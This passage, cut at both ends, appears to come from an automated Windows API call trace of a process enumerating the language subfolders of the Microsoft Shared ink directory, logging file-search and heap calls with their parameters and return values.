ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0217.627] GetProcessHeap () returned 0x560000 [0217.627] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.628] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.628] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.628] GetProcessHeap () returned 0x560000 [0217.629] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0217.629] GetProcessHeap () returned 0x560000 [0217.629] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.629] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.630] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.630] GetProcessHeap () returned 0x560000 [0217.630] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0217.630] GetProcessHeap () returned 0x560000 [0217.630] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.631] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.632] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.632] GetProcessHeap () returned 0x560000 [0217.632] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.632] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0217.632] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0217.632] GetProcessHeap () returned 0x560000 [0217.632] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0217.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.959] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.959] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.959] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.959] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.959] GetProcessHeap () returned 0x560000 [0217.960] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0217.961] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0217.961] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0217.961] GetProcessHeap () returned 0x560000 [0217.962] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.962] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.962] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.963] GetProcessHeap () returned 0x560000 [0217.963] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.963] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0217.963] GetProcessHeap () returned 0x560000 [0217.963] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.963] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.963] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.964] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.964] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.964] GetProcessHeap () returned 0x560000 [0217.964] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.964] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0217.964] GetProcessHeap () returned 0x560000 [0217.964] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.964] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.965] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.965] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.965] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.965] GetProcessHeap () returned 0x560000 [0217.965] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.965] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0217.965] GetProcessHeap () returned 0x560000 [0217.966] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.966] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.966] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.966] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, 